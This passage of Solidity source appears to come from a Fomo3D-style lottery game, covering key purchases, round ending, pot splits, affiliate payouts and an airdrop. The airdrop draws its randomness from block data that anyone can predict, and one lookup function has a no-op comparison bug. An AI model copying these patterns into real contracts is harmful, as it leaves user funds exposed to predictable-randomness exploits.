function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else if (_now <= round_[_rID].end)
return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now <= round_[_rID].strt + rndGap_)
return( ((round_[_rID].end).sub(rndInit_)).sub(_now) );
else
if (_now < round_[_rID].end)
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false)
{
uint256 _roundMask;
uint256 _roundEth;
uint256 _roundKeys;
uint256 _roundPot;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
{
_roundEth = round_[_rID].ico;
_roundKeys = (round_[_rID].ico).keys();
_roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys;
_roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000)));
} else {
_roundEth = round_[_rID].eth;
_roundKeys = round_[_rID].keys;
_roundMask = round_[_rID].mask;
_roundPot = round_[_rID].pot;
}
uint256 _playerKeys;
if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0)
_playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys;
else
_playerKeys = calcPlayerICOPhaseKeys(_pID, _rID);
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys)
private
view
returns(uint256)
{
return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (round_[_rID].eth != 0)
{
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
} else {
return
(
round_[_rID].ico,
_rID,
(round_[_rID].ico).keys(),
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if (plyrRnds_[_pID][_rID].ico == 0)
{
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
0
);
} else {
return
(
_pID,
plyr_[_pID].name,
calcPlayerICOPhaseKeys(_pID, _rID),
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].ico
);
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000;
icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_);
} else {
_eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000;
core(_pID, msg.value, _affID, _team, _eventData_);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000;
icoPhaseCore(_pID, _eth, _team, _affID, _eventData_);
} else {
core(_pID, _eth, _affID, _team, _eventData_);
}
}
function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0)
{
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico);
round_[_rID].ico = _eth.add(round_[_rID].ico);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
round_[_rID].icoGen = _gen.add(round_[_rID].icoGen);
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen);
round_[_rID].pot = _pot.add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
endTx(_rID, _pID, _team, _eth, 0, _eventData_);
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0)
{
plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID);
plyrRnds_[_pID][_rID].ico = 0;
}
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_rID, _pID, _team, _eth, _keys, _eventData_);
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if (plyrRnds_[_pID][_rIDlast].ico == 0)
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0)
return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcAverageICOPhaseKeyPrice(uint256 _rID)
public
view
returns(uint256)
{
return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() );
}
function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID)
public
view
returns(uint256)
{
if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 )
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg );
else
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].eth).keysRec(_eth) );
else if (_now <= round_[_rID].end)
return ( (round_[_rID].ico).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else if (_now <= round_[_rID].end)
return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end)
{
if (round_[_rID].ended == false)
{
_eventData_ = endRound(_eventData_);
round_[_rID].ended = true;
}
rID_++;
_rID++;
round_[_rID].strt = _now;
round_[_rID].end = _now.add(rndInit_).add(rndGap_);
}
if (plyr_[_pID].lrnd != _rID)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = _rID;
_eventData_.compressedData = _eventData_.compressedData + 10;
}
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(coin_base).call.value(_com)())
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
coin_base.transfer(_p3d);
round_[_rID + 1].pot += _res;
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
return(_eventData_);
}
function roundClaimICOKeys(uint256 _rID)
private
{
round_[_rID].eth = round_[_rID].ico;
round_[_rID].keys = (round_[_rID].ico).keys();
round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID);
uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000));
if (_dust > 0)
round_[_rID].pot = (_dust).add(round_[_rID].pot);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _now = now;
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
round_[_rID + 1].pot += _long;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
coin_base.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == admin,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_ + rndGap_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcFast {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
